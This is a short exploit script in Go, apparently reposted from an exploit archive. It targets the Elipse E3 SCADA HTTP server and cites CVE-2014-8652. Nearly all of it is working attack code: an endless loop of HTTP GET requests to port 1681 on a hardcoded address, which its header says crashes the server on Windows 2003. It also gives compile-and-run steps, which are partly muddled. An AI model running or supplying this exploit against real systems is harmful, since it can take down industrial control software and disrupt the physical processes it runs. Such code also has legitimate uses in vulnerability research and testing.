Elipse E3 HTTP Denial of Service Exploit

// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// [email protected]
// 29-10-2013 11:42
// Vendor Homepage: http://www.elipse.com.br/port/index.aspx
// Software Link: http://www.elipse.com.br/port/e3.aspx
// Version: 3.x and prior
// Tested on: windows
// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// compile and execute:
// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
 
package main
 
import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
)
 
func main() {
    count := 1
//  fmt.Println ("")
//  fmt.Println ("   _____.__              ___.   .__  __           ")
//  fmt.Println (" _/ ____\__|______   ____\_ |__ |__|/  |_  ______ ")
//  fmt.Println (" \   __\|  \_  __ \_/ __ \| __ \|  \   __\/  ___/ ")
//  fmt.Println (" |  |  |  ||  | \/\  ___/| \_\ \  ||  |  \___ \  ")
//  fmt.Println (" |__|  |__||__|    \___  >___  /__||__| /____  > ")
//  fmt.Println ("                       \/    \/              \/  ")
//  fmt.Println ("                   bits on fire. ")
    fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
    fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
    fmt.Println ("29-10-2013 11:42")
    fmt.Println ("[email protected]")
    fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
    fmt.Println ("20 requests connections per second")
 
    for {
        count += count
        //http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>
 
        fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")
        fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")
        fmt.Println ("29-10-2013 11:42")
        fmt.Println ("[email protected]")
        fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")
        fmt.Println ("20 requests connections")
 
        fmt.Println ("Connected Port 1681...Testing")
        fmt.Println ("Counter Loops: ", count)
 
        res, err := http.Get("http://192.168.0.1:1681/index.html")
        if err != nil {
            log.Fatal(err)
        }
            robots, err := ioutil.ReadAll(res.Body)
            res.Body.Close()
            if err != nil {
            log.Fatal(err)
        }
        fmt.Printf("%s", robots)
    }
}

#  0day.today [2018-03-01]  #